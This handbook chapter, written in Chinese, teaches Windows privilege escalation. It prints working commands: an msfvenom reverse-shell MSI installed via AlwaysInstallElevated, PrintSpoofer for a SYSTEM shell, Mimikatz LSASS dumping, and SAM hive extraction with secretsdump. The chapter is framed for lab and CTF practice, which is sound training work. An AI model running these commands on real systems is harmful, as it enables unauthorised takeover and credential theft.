逆向工程实战手册 第 61 章

第 61 章 Windows 提权(Privilege Escalation)

Windows 提权与 Linux 思路相同(枚举→利用),但具体路径完全不同:服务配置、令牌、ACL、Unquoted Path、AlwaysInstallElevated 等。本章覆盖 Windows 提权的高频路径,并衔接凭证提取(Mimikatz 等)。

📍 知识点地图 | 主题:Windows提权 | 前置:第62章 | 后续:— | 核心概念:服务配置、SeImpersonate、注册表、Mimikatz

61.1 Windows 提权思维模型

Windows 提权路径来源:
  1. 服务配置错误(服务权限/路径/可写二进制)
  2. 令牌与权限(SeImpersonate/SeBackup 等)
  3. 注册表/ACL 错误配置
  4. 安装包/计划任务
  5. 内核漏洞(驱动/系统)
  6. 凭证(明文/哈希/票据 —— Windows 特有!)

核心工具: WinPEAS(枚举)+ 手工验证 + 凭证提取辅助

61.2 基础枚举

# 系统信息
systeminfo                    # 版本/补丁(查已知漏洞)
whoami /all                  # ← 最优先!用户权限和 Token 信息
whoami /priv                 # 特权(SeImpersonate 等!)

# 网络与进程
netstat -ano                 # 监听端口(本地服务)
tasklist /svc                # 服务与进程
tasklist /v                  # 进程详情

# 用户与组
net user
net localgroup administrators
whoami /groups

# 补丁
wmic qfe list                # 已装补丁(对比已知提权 CVE)
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

whoami /priv 是第一步:看到 SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege = 有土豆家族提权路径(见 61.5)。

61.3 Windows 服务提权(最常见路径)

服务配置枚举

# 服务信息(启动权限/二进制路径/运行账户)
wmic service get name,displayname,pathname,startmode,startname
sc qc <服务名>
# 关键: 服务以什么权限启动? 二进制路径可写吗?

路径漏洞 1:服务二进制可替换

场景: 服务以 SYSTEM 运行,但服务 exe 所在目录"用户可写"
利用:
  1. 找到可写服务(icacls 检查目录权限)
  2. 替换 exe 为恶意程序(反弹 shell/加用户)
  3. 重启服务(需权限)或等系统重启
  4. 以 SYSTEM 执行

路径漏洞 2:Unquoted Service Path

原理: 路径含空格且未加引号,如 C:\Program Files\My App\app.exe
  Windows 解析: 先试 "C:\Program.exe" → "C:\Program Files\My.exe" → ...
利用:
  1. 找到 unquoted 服务
  2. 在可写的中间路径放恶意程序(如 C:\Program.exe)
  3. 重启服务 → Windows 执行你的程序(SYSTEM)

路径漏洞 3:DLL 劫持

原理: 服务 exe 加载 DLL 时按顺序搜索目录
  应用目录 → 系统目录 → PATH
利用:
  1. 找到服务加载的外部 DLL(Process Monitor 观察)
  2. 在应用目录(可写)放恶意 DLL
  3. 重启服务 → 加载恶意 DLL(SYSTEM)

61.4 计划任务(Scheduled Tasks)

schtasks /query /fo LIST /v    # 列出所有任务
# 关注:
#   1. 以高权限运行(SYSTEM)
#   2. 执行路径可写(替换程序/脚本)
#   3. 任务触发条件(登录/时间/事件)

61.5 Token 权限提权(SeImpersonate 家族)

原理

Windows Token 带权限(privileges):
  SeImpersonatePrivilege: 可模拟其他用户的 token
  SeAssignPrimaryTokenPrivilege: 设置进程主 token
  SeBackupPrivilege: 备份(读所有文件)
  SeRestorePrivilege: 恢复(写所有文件)
  SeDebugPrivilege: 调试(注入任意进程)

如果服务账户有 SeImpersonate → 可拿到 SYSTEM(土豆攻击)

土豆家族(Potato)

原理: 诱导 SYSTEM 进程用 NTLM 认证你 → 拿到 SYSTEM token → 模拟

工具链(按时代):
  JuicyPotato      (经典,Win Server 2012-2019 部分版本)
  PrintSpoofer      (利用打印服务,稳定)
  PotatoNG / GodPotato / SweetPotato(新版系统)

使用:
  1. 确认 SeImpersonate(whoami /priv)
  2. 上传工具(PrintSpoofer 等)
  3. 执行: PrintSpoofer.exe -i -c cmd    # 拿 SYSTEM shell

其他特权利用

SeBackupPrivilege: 备份 /etc/shadow 等价物
  → reg save HKLM\SAM sam.hiv(备份注册表读哈希)
SeDebugPrivilege: 注入 lsass 进程(提权+凭证提取)
SeRestorePrivilege: 覆盖任意文件(改服务二进制)

61.6 注册表与 ACL 提权

# AlwaysInstallElevated(注册表键可写 → MSI 提权)
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 两个都是 1 → 任何用户都能以 SYSTEM 装 MSI
# 利用: msfvenom -p windows/x64/shell_reverse_tcp -f msi -o x.msi && msiexec /quiet /i x.msi

# 服务 ACL(服务对象权限)
# 用户对服务有 SERVICE_CHANGE_CONFIG 权限 → 改服务路径 → SYSTEM
# 检查工具: accesschk / WinPEAS 自动标注

# 注册表 AutoRun(HKCU 可写 + 高权限登录触发)
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

61.7 Windows 凭证提取(提权的另一半)

Windows 提权常与凭证提取联动: 拿到哈希/票据 = 直接横向(第 62 章)

Mimikatz(主力):
  mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
  → LSASS 内存中的明文密码/哈希(需 SYSTEM 或 SeDebug)

其他:
  secretsdump.py -sam sam.hiv -system system.hiv LOCAL   # 注册表哈希
  pypykatz lsa minidump lsass.dmp                        # 解析 dump
  reg save HKLM\SAM SAM && reg save HKLM\SYSTEM SYSTEM   # 备份 hive
  # 目标文件/备份/内存中的凭据

61.8 内核漏洞提权(Windows)

1. systeminfo 确认版本+补丁
2. searchsploit windows <版本>提权
3. 常见历史系列:
   MS16-032(PowerShell 内存提权)
   CVE-2021-1732(Win10 内核提权)
   CVE-2023-29357 / 2024 系列
4. 注意: 内核提权可能蓝屏(评估风险后执行)

61.9 自动化工具

# WinPEAS(首选)
winpeas.exe quiet

# Windows-Exploit-Suggester(补丁对比提权漏洞)
python windows-exploit-suggester.py --database 2024-xx.db --systeminfo info.txt

# 其他: Seatbelt(枚举)、PowerUp(服务/路径/令牌自动化)

61.10 Windows 提权检查清单

□ whoami /priv(特权清单 → 土豆家族)
□ 服务配置(可写二进制/unquoted/DLL 劫持)
□ 计划任务(高权限+可写路径)
□ 注册表(AlwaysInstallElevated/AutoRun/ACL)
□ Token 特权(SeImpersonate/SeBackup/SeDebug/SeRestore)
□ 补丁对比(已知提权 CVE)
□ 凭证搜索(明文/哈希/票据 —— 同时是横向材料)
□ WinPEAS 兜底 + 手工验证

动手练习

  1. 在 Windows 练习机(或 HTB 机器)枚举服务,找出 unquoted path 或可写二进制的服务,完成替换提权。
  2. 验证 SeImpersonate:用 PrintSpoofer(或类似工具)完成 SYSTEM shell。
  3. 检查 AlwaysInstallElevated 注册表键,复现 MSI 提权。
  4. 用 Mimikatz 提取本机(练习环境)的凭据,理解"提权+凭证"的联动。

深入阅读

  • 仓库:skills/pentest-tools/references/network-attack-defense.md(Windows 提权章节)
  • 仓库:skills/attack-chain/SKILL.md(提权阶段:Windows/Linux/数据库)
  • 仓库:CTF-Sandbox-Orchestrator/competition-identity-windows/(Windows 身份 CTF)
  • 仓库:CTF-Sandbox-Orchestrator/competition-lsass-ticket-material/(LSASS/票据)
  • 外部: HackTricks(Windows Privilege Escalation 完整方法论)